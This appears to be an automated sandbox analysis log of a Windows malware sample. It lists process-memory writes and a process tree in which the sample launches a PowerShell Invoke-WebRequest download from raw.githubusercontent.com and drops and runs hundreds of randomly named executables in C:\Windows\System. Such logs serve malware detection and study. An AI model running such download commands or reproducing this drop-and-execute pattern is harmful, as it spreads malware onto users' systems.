PID 2524 wrote to memory of 1608	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	45
PID 2524 wrote to memory of 1608	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	45
PID 2524 wrote to memory of 1608	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	45
PID 2524 wrote to memory of 1532	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	46
PID 2524 wrote to memory of 1532	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	46
PID 2524 wrote to memory of 1532	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	46
PID 2524 wrote to memory of 548	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	47
PID 2524 wrote to memory of 548	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	47
PID 2524 wrote to memory of 548	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	47
PID 2524 wrote to memory of 2684	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	48
PID 2524 wrote to memory of 2684	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	48
PID 2524 wrote to memory of 2684	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	48
PID 2524 wrote to memory of 1824	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	49
PID 2524 wrote to memory of 1824	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	49
PID 2524 wrote to memory of 1824	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	49
PID 2524 wrote to memory of 1348	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2988
- C:\Windows\System\mCezbNz.exe
  C:\Windows\System\mCezbNz.exe
  2⤵
  - Executes dropped EXE
  PID:2308
- C:\Windows\System\XjRkHOo.exe
  C:\Windows\System\XjRkHOo.exe
  2⤵
  - Executes dropped EXE
  PID:2584
- C:\Windows\System\CzgOALd.exe
  C:\Windows\System\CzgOALd.exe
  2⤵
  - Executes dropped EXE
  PID:2648
- C:\Windows\System\rLGCDPO.exe
  C:\Windows\System\rLGCDPO.exe
  2⤵
  - Executes dropped EXE
  PID:2640
- C:\Windows\System\bhcvstq.exe
  C:\Windows\System\bhcvstq.exe
  2⤵
  - Executes dropped EXE
  PID:2464
- C:\Windows\System\bHuyuYo.exe
  C:\Windows\System\bHuyuYo.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\EqBjVCq.exe
  C:\Windows\System\EqBjVCq.exe
  2⤵
  - Executes dropped EXE
  PID:2608
- C:\Windows\System\PaJksqv.exe
  C:\Windows\System\PaJksqv.exe
  2⤵
  - Executes dropped EXE
  PID:2236
- C:\Windows\System\jWnsDgQ.exe
  C:\Windows\System\jWnsDgQ.exe
  2⤵
  - Executes dropped EXE
  PID:2912
- C:\Windows\System\WasWoTp.exe
  C:\Windows\System\WasWoTp.exe
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Windows\System\nySVrKF.exe
  C:\Windows\System\nySVrKF.exe
  2⤵
  - Executes dropped EXE
  PID:2540
- C:\Windows\System\xAQfYmQ.exe
  C:\Windows\System\xAQfYmQ.exe
  2⤵
  - Executes dropped EXE
  PID:2888
- C:\Windows\System\eFPddFP.exe
  C:\Windows\System\eFPddFP.exe
  2⤵
  - Executes dropped EXE
  PID:1204
- C:\Windows\System\fGyCGPh.exe
  C:\Windows\System\fGyCGPh.exe
  2⤵
  PID:1832
- C:\Windows\System\HLPEsgP.exe
  C:\Windows\System\HLPEsgP.exe
  2⤵
  - Executes dropped EXE
  PID:1788
- C:\Windows\System\ZghMvxU.exe
  C:\Windows\System\ZghMvxU.exe
  2⤵
  PID:1608
- C:\Windows\System\WcwkIzK.exe
  C:\Windows\System\WcwkIzK.exe
  2⤵
  - Executes dropped EXE
  PID:1532
- C:\Windows\System\QFXmVHl.exe
  C:\Windows\System\QFXmVHl.exe
  2⤵
  PID:548
- C:\Windows\System\OFDoGVh.exe
  C:\Windows\System\OFDoGVh.exe
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Windows\System\TlsPzVE.exe
  C:\Windows\System\TlsPzVE.exe
  2⤵
  PID:1824
- C:\Windows\System\zGBoQLr.exe
  C:\Windows\System\zGBoQLr.exe
  2⤵
  - Executes dropped EXE
  PID:1348
- C:\Windows\System\RXWTTww.exe
  C:\Windows\System\RXWTTww.exe
  2⤵
  PID:1380
- C:\Windows\System\pPoZvEd.exe
  C:\Windows\System\pPoZvEd.exe
  2⤵
  - Executes dropped EXE
  PID:1124
- C:\Windows\System\VGTJBeK.exe
  C:\Windows\System\VGTJBeK.exe
  2⤵
  PID:2020
- C:\Windows\System\DVKzEtI.exe
  C:\Windows\System\DVKzEtI.exe
  2⤵
  - Executes dropped EXE
  PID:2316
- C:\Windows\System\SHvWyFN.exe
  C:\Windows\System\SHvWyFN.exe
  2⤵
  PID:2260
- C:\Windows\System\uGLcvfm.exe
  C:\Windows\System\uGLcvfm.exe
  2⤵
  - Executes dropped EXE
  PID:1976
- C:\Windows\System\bcOsfil.exe
  C:\Windows\System\bcOsfil.exe
  2⤵
  PID:2084
- C:\Windows\System\DMwMRNg.exe
  C:\Windows\System\DMwMRNg.exe
  2⤵
  - Executes dropped EXE
  PID:2128
- C:\Windows\System\RasCuok.exe
  C:\Windows\System\RasCuok.exe
  2⤵
  PID:540
- C:\Windows\System\tgjBTnn.exe
  C:\Windows\System\tgjBTnn.exe
  2⤵
  - Executes dropped EXE
  PID:748
- C:\Windows\System\GyCPVDp.exe
  C:\Windows\System\GyCPVDp.exe
  2⤵
  PID:1352
- C:\Windows\System\TprKtJQ.exe
  C:\Windows\System\TprKtJQ.exe
  2⤵
  - Executes dropped EXE
  PID:2140
- C:\Windows\System\gDYDayG.exe
  C:\Windows\System\gDYDayG.exe
  2⤵
  PID:1684
- C:\Windows\System\cZkyJwk.exe
  C:\Windows\System\cZkyJwk.exe
  2⤵
  - Executes dropped EXE
  PID:1240
- C:\Windows\System\RcKEshF.exe
  C:\Windows\System\RcKEshF.exe
  2⤵
  PID:1816
- C:\Windows\System\XQdgwIE.exe
  C:\Windows\System\XQdgwIE.exe
  2⤵
  - Executes dropped EXE
  PID:420
- C:\Windows\System\FJhvyBm.exe
  C:\Windows\System\FJhvyBm.exe
  2⤵
  PID:2160
- C:\Windows\System\RFkIEXz.exe
  C:\Windows\System\RFkIEXz.exe
  2⤵
  - Executes dropped EXE
  PID:1156
- C:\Windows\System\JiINspg.exe
  C:\Windows\System\JiINspg.exe
  2⤵
  PID:1620
- C:\Windows\System\awGNWWf.exe
  C:\Windows\System\awGNWWf.exe
  2⤵
  - Executes dropped EXE
  PID:1536
- C:\Windows\System\cRmrxKg.exe
  C:\Windows\System\cRmrxKg.exe
  2⤵
  PID:1000
- C:\Windows\System\HVILQdH.exe
  C:\Windows\System\HVILQdH.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\aHVjcZl.exe
  C:\Windows\System\aHVjcZl.exe
  2⤵
  PID:1328
- C:\Windows\System\JfqnRXp.exe
  C:\Windows\System\JfqnRXp.exe
  2⤵
  - Executes dropped EXE
  PID:1100
- C:\Windows\System\MiUBrSf.exe
  C:\Windows\System\MiUBrSf.exe
  2⤵
  PID:2144
- C:\Windows\System\rjqWBEA.exe
  C:\Windows\System\rjqWBEA.exe
  2⤵
  - Executes dropped EXE
  PID:2268
- C:\Windows\System\fhkRrWr.exe
  C:\Windows\System\fhkRrWr.exe
  2⤵
  PID:2836
- C:\Windows\System\ZcFQXiY.exe
  C:\Windows\System\ZcFQXiY.exe
  2⤵
  - Executes dropped EXE
  PID:776
- C:\Windows\System\BEstLuF.exe
  C:\Windows\System\BEstLuF.exe
  2⤵
  PID:1144
- C:\Windows\System\uzuVfrv.exe
  C:\Windows\System\uzuVfrv.exe
  2⤵
  - Executes dropped EXE
  PID:704
- C:\Windows\System\sAqbJjR.exe
  C:\Windows\System\sAqbJjR.exe
  2⤵
  PID:3036
- C:\Windows\System\hiBFYEo.exe
  C:\Windows\System\hiBFYEo.exe
  2⤵
  - Executes dropped EXE
  PID:2224
- C:\Windows\System\umhtLvz.exe
  C:\Windows\System\umhtLvz.exe
  2⤵
  PID:2388
- C:\Windows\System\HvPEkIm.exe
  C:\Windows\System\HvPEkIm.exe
  2⤵
  - Executes dropped EXE
  PID:2412
- C:\Windows\System\oAnvLJh.exe
  C:\Windows\System\oAnvLJh.exe
  2⤵
  PID:2008
- C:\Windows\System\oDpUckc.exe
  C:\Windows\System\oDpUckc.exe
  2⤵
  - Executes dropped EXE
  PID:2124
- C:\Windows\System\lOfJeNN.exe
  C:\Windows\System\lOfJeNN.exe
  2⤵
  PID:1744
- C:\Windows\System\UGbqjIH.exe
  C:\Windows\System\UGbqjIH.exe
  2⤵
  - Executes dropped EXE
  PID:1984
- C:\Windows\System\TXQgUun.exe
  C:\Windows\System\TXQgUun.exe
  2⤵
  PID:3064
- C:\Windows\System\vMVXAnb.exe
  C:\Windows\System\vMVXAnb.exe
  2⤵
  - Executes dropped EXE
  PID:1844
- C:\Windows\System\zVqbPGh.exe
  C:\Windows\System\zVqbPGh.exe
  2⤵
  PID:1848
- C:\Windows\System\gBfMIuJ.exe
  C:\Windows\System\gBfMIuJ.exe
  2⤵
  - Executes dropped EXE
  PID:1588
- C:\Windows\System\WBmoGXe.exe
  C:\Windows\System\WBmoGXe.exe
  2⤵
  PID:1592
- C:\Windows\System\KTasZqB.exe
  C:\Windows\System\KTasZqB.exe
  2⤵
  - Executes dropped EXE
  PID:2004
- C:\Windows\System\nRfTDBs.exe
  C:\Windows\System\nRfTDBs.exe
  2⤵
  PID:2688
- C:\Windows\System\xtdwpSH.exe
  C:\Windows\System\xtdwpSH.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\UoskUFP.exe
  C:\Windows\System\UoskUFP.exe
  2⤵
  PID:1468
- C:\Windows\System\YjxOuqM.exe
  C:\Windows\System\YjxOuqM.exe
  2⤵
  - Executes dropped EXE
  PID:2452
- C:\Windows\System\wqbvDrE.exe
  C:\Windows\System\wqbvDrE.exe
  2⤵
  PID:2232
- C:\Windows\System\mlxDTgi.exe
  C:\Windows\System\mlxDTgi.exe
  2⤵
  - Executes dropped EXE
  PID:2772
- C:\Windows\System\nFtLIKg.exe
  C:\Windows\System\nFtLIKg.exe
  2⤵
  PID:2764
- C:\Windows\System\zGQPQXX.exe
  C:\Windows\System\zGQPQXX.exe
  2⤵
  - Executes dropped EXE
  PID:2896
- C:\Windows\System\ZVwKhFr.exe
  C:\Windows\System\ZVwKhFr.exe
  2⤵
  PID:2892
- C:\Windows\System\ZxNDKXR.exe
  C:\Windows\System\ZxNDKXR.exe
  2⤵
  - Executes dropped EXE
  PID:2064
- C:\Windows\System\bgQekpM.exe
  C:\Windows\System\bgQekpM.exe
  2⤵
  PID:1456
- C:\Windows\System\KbJnTun.exe
  C:\Windows\System\KbJnTun.exe
  2⤵
  - Executes dropped EXE
  PID:1568
- C:\Windows\System\ITmlQPY.exe
  C:\Windows\System\ITmlQPY.exe
  2⤵
  PID:1268
- C:\Windows\System\HICUTVG.exe
  C:\Windows\System\HICUTVG.exe
  2⤵
  - Executes dropped EXE
  PID:3068
- C:\Windows\System\jNeSPcW.exe
  C:\Windows\System\jNeSPcW.exe
  2⤵
  PID:2252
- C:\Windows\System\klEWyIc.exe
  C:\Windows\System\klEWyIc.exe
  2⤵
  - Executes dropped EXE
  PID:2420
- C:\Windows\System\DyyUlvm.exe
  C:\Windows\System\DyyUlvm.exe
  2⤵
  PID:324
- C:\Windows\System\ComHcny.exe
  C:\Windows\System\ComHcny.exe
  2⤵
  - Executes dropped EXE
  PID:1084
- C:\Windows\System\JMcnocQ.exe
  C:\Windows\System\JMcnocQ.exe
  2⤵
  PID:1136
- C:\Windows\System\qJltwDV.exe
  C:\Windows\System\qJltwDV.exe
  2⤵
  - Executes dropped EXE
  PID:1752
- C:\Windows\System\meiFTVI.exe
  C:\Windows\System\meiFTVI.exe
  2⤵
  PID:1792
- C:\Windows\System\jwpDtSf.exe
  C:\Windows\System\jwpDtSf.exe
  2⤵
  - Executes dropped EXE
  PID:1900
- C:\Windows\System\IonTEbU.exe
  C:\Windows\System\IonTEbU.exe
  2⤵
  PID:964
- C:\Windows\System\ybPXZnY.exe
  C:\Windows\System\ybPXZnY.exe
  2⤵
  - Executes dropped EXE
  PID:1764
- C:\Windows\System\tCgCEYQ.exe
  C:\Windows\System\tCgCEYQ.exe
  2⤵
  PID:304
- C:\Windows\System\QsQLCCM.exe
  C:\Windows\System\QsQLCCM.exe
  2⤵
  - Executes dropped EXE
  PID:2196
- C:\Windows\System\BCvYHdK.exe
  C:\Windows\System\BCvYHdK.exe
  2⤵
  PID:2644
- C:\Windows\System\GkbenjZ.exe
  C:\Windows\System\GkbenjZ.exe
  2⤵
  - Executes dropped EXE
  PID:2504
- C:\Windows\System\mNhqVrx.exe
  C:\Windows\System\mNhqVrx.exe
  2⤵
  PID:2796
- C:\Windows\System\QZOFoza.exe
  C:\Windows\System\QZOFoza.exe
  2⤵
  - Executes dropped EXE
  PID:1988
- C:\Windows\System\iNSnsfC.exe
  C:\Windows\System\iNSnsfC.exe
  2⤵
  PID:1216
- C:\Windows\System\Oscijxd.exe
  C:\Windows\System\Oscijxd.exe
  2⤵
  - Executes dropped EXE
  PID:552
- C:\Windows\System\UEKpXhe.exe
  C:\Windows\System\UEKpXhe.exe
  2⤵
  PID:556
- C:\Windows\System\XSYMvod.exe
  C:\Windows\System\XSYMvod.exe
  2⤵
  - Executes dropped EXE
  PID:3088
- C:\Windows\System\RDmcdLx.exe
  C:\Windows\System\RDmcdLx.exe
  2⤵
  PID:3104
- C:\Windows\System\SLjBFSQ.exe
  C:\Windows\System\SLjBFSQ.exe
  2⤵
  - Executes dropped EXE
  PID:3120
- C:\Windows\System\aOojPfU.exe
  C:\Windows\System\aOojPfU.exe
  2⤵
  PID:3136
- C:\Windows\System\AgcYEKv.exe
  C:\Windows\System\AgcYEKv.exe
  2⤵
  - Executes dropped EXE
  PID:3152
- C:\Windows\System\CInwhJN.exe
  C:\Windows\System\CInwhJN.exe
  2⤵
  PID:3168
- C:\Windows\System\rBqBlan.exe
  C:\Windows\System\rBqBlan.exe
  2⤵
  - Executes dropped EXE
  PID:3184
- C:\Windows\System\BBXhVlr.exe
  C:\Windows\System\BBXhVlr.exe
  2⤵
  PID:3200
- C:\Windows\System\fxoceoh.exe
  C:\Windows\System\fxoceoh.exe
  2⤵
  - Executes dropped EXE
  PID:3216
- C:\Windows\System\VcFruxa.exe
  C:\Windows\System\VcFruxa.exe
  2⤵
  PID:3232
- C:\Windows\System\xcvVRcd.exe
  C:\Windows\System\xcvVRcd.exe
  2⤵
  - Executes dropped EXE
  PID:3248
- C:\Windows\System\qwEsUiD.exe
  C:\Windows\System\qwEsUiD.exe
  2⤵
  PID:3264
- C:\Windows\System\WaXsoRK.exe
  C:\Windows\System\WaXsoRK.exe
  2⤵
  - Executes dropped EXE
  PID:3280
- C:\Windows\System\TgpJywG.exe
  C:\Windows\System\TgpJywG.exe
  2⤵
  PID:3296
- C:\Windows\System\vPzMVxl.exe
  C:\Windows\System\vPzMVxl.exe
  2⤵
  - Executes dropped EXE
  PID:3312
- C:\Windows\System\hICvkGK.exe
  C:\Windows\System\hICvkGK.exe
  2⤵
  PID:3328
- C:\Windows\System\Wwssqyr.exe
  C:\Windows\System\Wwssqyr.exe
  2⤵
  - Executes dropped EXE
  PID:3344
- C:\Windows\System\FZbdfts.exe
  C:\Windows\System\FZbdfts.exe
  2⤵
  PID:3360
- C:\Windows\System\eTekcKQ.exe
  C:\Windows\System\eTekcKQ.exe
  2⤵
  PID:3376
- C:\Windows\System\tDgBcQS.exe
  C:\Windows\System\tDgBcQS.exe
  2⤵
  PID:3392
- C:\Windows\System\VUcuxzk.exe
  C:\Windows\System\VUcuxzk.exe
  2⤵
  PID:3408
- C:\Windows\System\nlTtoSz.exe
  C:\Windows\System\nlTtoSz.exe
  2⤵
  PID:3424
- C:\Windows\System\xZjhbnG.exe
  C:\Windows\System\xZjhbnG.exe
  2⤵
  PID:3440
- C:\Windows\System\eKhfXbK.exe
  C:\Windows\System\eKhfXbK.exe
  2⤵
  PID:3456
- C:\Windows\System\UJNqBla.exe
  C:\Windows\System\UJNqBla.exe
  2⤵
  PID:3472
- C:\Windows\System\etFlSeR.exe
  C:\Windows\System\etFlSeR.exe
  2⤵
  PID:3488
- C:\Windows\System\evysHZM.exe
  C:\Windows\System\evysHZM.exe
  2⤵
  PID:3504
- C:\Windows\System\FzzHUWH.exe
  C:\Windows\System\FzzHUWH.exe
  2⤵
  PID:3520
- C:\Windows\System\agASaBD.exe
  C:\Windows\System\agASaBD.exe
  2⤵
  PID:3536
- C:\Windows\System\IhPaQdt.exe
  C:\Windows\System\IhPaQdt.exe
  2⤵
  PID:3552
- C:\Windows\System\EgZSYWM.exe
  C:\Windows\System\EgZSYWM.exe
  2⤵
  PID:3568
- C:\Windows\System\sdQFGEU.exe
  C:\Windows\System\sdQFGEU.exe
  2⤵
  PID:3584
- C:\Windows\System\bVbNABQ.exe
  C:\Windows\System\bVbNABQ.exe
  2⤵
  PID:3604
- C:\Windows\System\fpCDlez.exe
  C:\Windows\System\fpCDlez.exe
  2⤵
  PID:3620
- C:\Windows\System\FLHUyiW.exe
  C:\Windows\System\FLHUyiW.exe
  2⤵
  PID:3636
- C:\Windows\System\JJjWptN.exe
  C:\Windows\System\JJjWptN.exe
  2⤵
  PID:3652
- C:\Windows\System\eBccaZL.exe
  C:\Windows\System\eBccaZL.exe
  2⤵
  PID:3668
- C:\Windows\System\sfulSPc.exe
  C:\Windows\System\sfulSPc.exe
  2⤵
  PID:3684
- C:\Windows\System\qbcLpTj.exe
  C:\Windows\System\qbcLpTj.exe
  2⤵
  PID:3700
- C:\Windows\System\cHVOEiU.exe
  C:\Windows\System\cHVOEiU.exe
  2⤵
  PID:3716
- C:\Windows\System\XtmdbMx.exe
  C:\Windows\System\XtmdbMx.exe
  2⤵
  PID:3732
- C:\Windows\System\IBYKRWi.exe
  C:\Windows\System\IBYKRWi.exe
  2⤵
  PID:3748
- C:\Windows\System\KmspMnm.exe
  C:\Windows\System\KmspMnm.exe
  2⤵
  PID:3764
- C:\Windows\System\nZiEUkp.exe
  C:\Windows\System\nZiEUkp.exe
  2⤵
  PID:3784
- C:\Windows\System\VdBpGMj.exe
  C:\Windows\System\VdBpGMj.exe
  2⤵
  PID:3800
- C:\Windows\System\uRYLJdf.exe
  C:\Windows\System\uRYLJdf.exe
  2⤵
  PID:3816
- C:\Windows\System\lqnIkGA.exe
  C:\Windows\System\lqnIkGA.exe
  2⤵
  PID:3832
- C:\Windows\System\zVDFPTn.exe
  C:\Windows\System\zVDFPTn.exe
  2⤵
  PID:3848
- C:\Windows\System\KgnNhWK.exe
  C:\Windows\System\KgnNhWK.exe
  2⤵
  PID:3864
- C:\Windows\System\dnvUqpG.exe
  C:\Windows\System\dnvUqpG.exe
  2⤵
  PID:3880
- C:\Windows\System\xnTRfjL.exe
  C:\Windows\System\xnTRfjL.exe
  2⤵
  PID:3896
- C:\Windows\System\MVqfFKF.exe
  C:\Windows\System\MVqfFKF.exe
  2⤵
  PID:3912
- C:\Windows\System\PMSZkGZ.exe
  C:\Windows\System\PMSZkGZ.exe
  2⤵
  PID:3928
- C:\Windows\System\wvdUqZV.exe
  C:\Windows\System\wvdUqZV.exe
  2⤵
  PID:3944
- C:\Windows\System\oloZeLW.exe
  C:\Windows\System\oloZeLW.exe
  2⤵
  PID:3960
- C:\Windows\System\BnnhMcL.exe
  C:\Windows\System\BnnhMcL.exe
  2⤵
  PID:3976
- C:\Windows\System\HYGYAla.exe
  C:\Windows\System\HYGYAla.exe
  2⤵
  PID:3992
- C:\Windows\System\uEkGUFx.exe
  C:\Windows\System\uEkGUFx.exe
  2⤵
  PID:4008
- C:\Windows\System\mKXGYVh.exe
  C:\Windows\System\mKXGYVh.exe
  2⤵
  PID:4024
- C:\Windows\System\hUKGwMj.exe
  C:\Windows\System\hUKGwMj.exe
  2⤵
  PID:4040
- C:\Windows\System\JSgreED.exe
  C:\Windows\System\JSgreED.exe
  2⤵
  PID:4056
- C:\Windows\System\TejCZbD.exe
  C:\Windows\System\TejCZbD.exe
  2⤵
  PID:4072
- C:\Windows\System\gHJrngD.exe
  C:\Windows\System\gHJrngD.exe
  2⤵
  PID:4088
- C:\Windows\System\KExPjwK.exe
  C:\Windows\System\KExPjwK.exe
  2⤵
  PID:664
- C:\Windows\System\uBRtDfO.exe
  C:\Windows\System\uBRtDfO.exe
  2⤵
  PID:2768
- C:\Windows\System\rndVWrf.exe
  C:\Windows\System\rndVWrf.exe
  2⤵
  PID:2536
- C:\Windows\System\OIKVQdf.exe
  C:\Windows\System\OIKVQdf.exe
  2⤵
  PID:3100
- C:\Windows\System\tLCESsc.exe
  C:\Windows\System\tLCESsc.exe
  2⤵
  PID:3160
- C:\Windows\System\dkDedgW.exe
  C:\Windows\System\dkDedgW.exe
  2⤵
  PID:3224
- C:\Windows\System\DtHOcup.exe
  C:\Windows\System\DtHOcup.exe
  2⤵
  PID:3288
- C:\Windows\System\vyuCAPg.exe
  C:\Windows\System\vyuCAPg.exe
  2⤵
  PID:3352
- C:\Windows\System\TnVOrBC.exe
  C:\Windows\System\TnVOrBC.exe
  2⤵
  PID:3416
- C:\Windows\System\QiuXuHj.exe
  C:\Windows\System\QiuXuHj.exe
  2⤵
  PID:3452
- C:\Windows\System\cshsZkg.exe
  C:\Windows\System\cshsZkg.exe
  2⤵
  PID:1756
- C:\Windows\System\dedjnlw.exe
  C:\Windows\System\dedjnlw.exe
  2⤵
  PID:3576
- C:\Windows\System\DywgyJQ.exe
  C:\Windows\System\DywgyJQ.exe
  2⤵
  PID:3616
- C:\Windows\System\UhnUHTt.exe
  C:\Windows\System\UhnUHTt.exe
  2⤵
  PID:3708
- C:\Windows\System\YpoXoCh.exe
  C:\Windows\System\YpoXoCh.exe
  2⤵
  PID:3744
- C:\Windows\System\zuIqbOg.exe
  C:\Windows\System\zuIqbOg.exe
  2⤵
  PID:3812
- C:\Windows\System\KypXwHW.exe
  C:\Windows\System\KypXwHW.exe
  2⤵
  PID:3876
- C:\Windows\System\SQcNgwr.exe
  C:\Windows\System\SQcNgwr.exe
  2⤵
  PID:3940
- C:\Windows\System\obMFWJd.exe
  C:\Windows\System\obMFWJd.exe
  2⤵
  PID:4004
- C:\Windows\System\YdUZidf.exe
  C:\Windows\System\YdUZidf.exe
  2⤵
  PID:4068
- C:\Windows\System\LhGjlLa.exe
  C:\Windows\System\LhGjlLa.exe
  2⤵
  PID:1600
- C:\Windows\System\DhIVSQz.exe
  C:\Windows\System\DhIVSQz.exe
  2⤵
  PID:3260
- C:\Windows\System\XYEtLzo.exe
  C:\Windows\System\XYEtLzo.exe
  2⤵
  PID:3512
- C:\Windows\System\MDvLyQE.exe
  C:\Windows\System\MDvLyQE.exe
  2⤵
  PID:3740
- C:\Windows\System\EsgIaEv.exe
  C:\Windows\System\EsgIaEv.exe
  2⤵
  PID:4100
- C:\Windows\System\paIhXGG.exe
  C:\Windows\System\paIhXGG.exe
  2⤵
  PID:4116
- C:\Windows\System\gKqDBQF.exe
  C:\Windows\System\gKqDBQF.exe
  2⤵
  PID:4132
- C:\Windows\System\ORtwyzM.exe
  C:\Windows\System\ORtwyzM.exe
  2⤵
  PID:4148
- C:\Windows\System\ViwMSYC.exe
  C:\Windows\System\ViwMSYC.exe
  2⤵
  PID:4164
- C:\Windows\System\qYQmJuH.exe
  C:\Windows\System\qYQmJuH.exe
  2⤵
  PID:4180
- C:\Windows\System\bTqSksU.exe
  C:\Windows\System\bTqSksU.exe
  2⤵
  PID:4196
- C:\Windows\System\SdYqnwu.exe
  C:\Windows\System\SdYqnwu.exe
  2⤵
  PID:4212
- C:\Windows\System\CgSvzoP.exe
  C:\Windows\System\CgSvzoP.exe
  2⤵
  PID:4228
- C:\Windows\System\LvTOJAw.exe
  C:\Windows\System\LvTOJAw.exe
  2⤵
  PID:4244
- C:\Windows\System\prfLqZj.exe
  C:\Windows\System\prfLqZj.exe
  2⤵
  PID:4260
- C:\Windows\System\cNXCwuX.exe
  C:\Windows\System\cNXCwuX.exe
  2⤵
  PID:4276
- C:\Windows\System\jonSURD.exe
  C:\Windows\System\jonSURD.exe
  2⤵
  PID:4292
- C:\Windows\System\dNMnqzy.exe
  C:\Windows\System\dNMnqzy.exe
  2⤵
  PID:4308
- C:\Windows\System\dimzbTs.exe
  C:\Windows\System\dimzbTs.exe
  2⤵
  PID:4324
- C:\Windows\System\PIPlnKV.exe
  C:\Windows\System\PIPlnKV.exe
  2⤵
  PID:4340
- C:\Windows\System\wesUmoE.exe
  C:\Windows\System\wesUmoE.exe
  2⤵
  PID:4356
- C:\Windows\System\LMtmPRk.exe
  C:\Windows\System\LMtmPRk.exe
  2⤵
  PID:4372
- C:\Windows\System\wWIMatF.exe
  C:\Windows\System\wWIMatF.exe
  2⤵
  PID:4388
- C:\Windows\System\DcaGgUN.exe
  C:\Windows\System\DcaGgUN.exe
  2⤵
  PID:4404
- C:\Windows\System\NHCpgYo.exe
  C:\Windows\System\NHCpgYo.exe
  2⤵
  PID:4420
- C:\Windows\System\SznUhSF.exe
  C:\Windows\System\SznUhSF.exe
  2⤵
  PID:4436
- C:\Windows\System\FDgnapw.exe
  C:\Windows\System\FDgnapw.exe
  2⤵
  PID:4456
- C:\Windows\System\dvyoCGy.exe
  C:\Windows\System\dvyoCGy.exe
  2⤵
  PID:4472
- C:\Windows\System\kyJptAL.exe
  C:\Windows\System\kyJptAL.exe
  2⤵
  PID:4488
- C:\Windows\System\iLSWsMp.exe
  C:\Windows\System\iLSWsMp.exe
  2⤵
  PID:4504
- C:\Windows\System\EnCnhNV.exe
  C:\Windows\System\EnCnhNV.exe
  2⤵
  PID:4520
- C:\Windows\System\azCEMUk.exe
  C:\Windows\System\azCEMUk.exe
  2⤵
  PID:4536
- C:\Windows\System\mRmDOUE.exe
  C:\Windows\System\mRmDOUE.exe
  2⤵
  PID:4552
- C:\Windows\System\hxexHwK.exe
  C:\Windows\System\hxexHwK.exe
  2⤵
  PID:4568
- C:\Windows\System\FVFsLii.exe
  C:\Windows\System\FVFsLii.exe
  2⤵
  PID:4584
- C:\Windows\System\RvhEUyN.exe
  C:\Windows\System\RvhEUyN.exe
  2⤵
  PID:4600
- C:\Windows\System\BGgrqYd.exe
  C:\Windows\System\BGgrqYd.exe
  2⤵
  PID:4616
- C:\Windows\System\abmRVIn.exe
  C:\Windows\System\abmRVIn.exe
  2⤵
  PID:4632
- C:\Windows\System\RxEZmQq.exe
  C:\Windows\System\RxEZmQq.exe
  2⤵
  PID:4648
- C:\Windows\System\ejcCsPR.exe
  C:\Windows\System\ejcCsPR.exe
  2⤵
  PID:4664
- C:\Windows\System\OLncUEj.exe
  C:\Windows\System\OLncUEj.exe
  2⤵
  PID:4680
- C:\Windows\System\xoKdple.exe
  C:\Windows\System\xoKdple.exe
  2⤵
  PID:4696
- C:\Windows\System\gZqTRjE.exe
  C:\Windows\System\gZqTRjE.exe
  2⤵
  PID:4712
- C:\Windows\System\tCWRCdf.exe
  C:\Windows\System\tCWRCdf.exe
  2⤵
  PID:4728
- C:\Windows\System\IlmEGTZ.exe
  C:\Windows\System\IlmEGTZ.exe
  2⤵
  PID:4744
- C:\Windows\System\yisUWmH.exe
  C:\Windows\System\yisUWmH.exe
  2⤵
  PID:4760
- C:\Windows\System\FeMYsNz.exe
  C:\Windows\System\FeMYsNz.exe
  2⤵
  PID:4776
- C:\Windows\System\KHegyzi.exe
  C:\Windows\System\KHegyzi.exe
  2⤵
  PID:4792
- C:\Windows\System\XAAqxjl.exe
  C:\Windows\System\XAAqxjl.exe
  2⤵
  PID:4808
- C:\Windows\System\CAOBHPq.exe
  C:\Windows\System\CAOBHPq.exe
  2⤵
  PID:4824
- C:\Windows\System\ELtjvuF.exe
  C:\Windows\System\ELtjvuF.exe
  2⤵
  PID:4840
- C:\Windows\System\uTVYZTD.exe
  C:\Windows\System\uTVYZTD.exe
  2⤵
  PID:4856
- C:\Windows\System\FcZulwU.exe
  C:\Windows\System\FcZulwU.exe
  2⤵
  PID:4872
- C:\Windows\System\eeVVFKk.exe
  C:\Windows\System\eeVVFKk.exe
  2⤵
  PID:4888
- C:\Windows\System\VJkOdMt.exe
  C:\Windows\System\VJkOdMt.exe
  2⤵
  PID:4904
- C:\Windows\System\vHBvQru.exe
  C:\Windows\System\vHBvQru.exe
  2⤵
  PID:4920
- C:\Windows\System\SQPlAdk.exe
  C:\Windows\System\SQPlAdk.exe
  2⤵
  PID:4936
- C:\Windows\System\kxPxDIG.exe
  C:\Windows\System\kxPxDIG.exe
  2⤵
  PID:4952
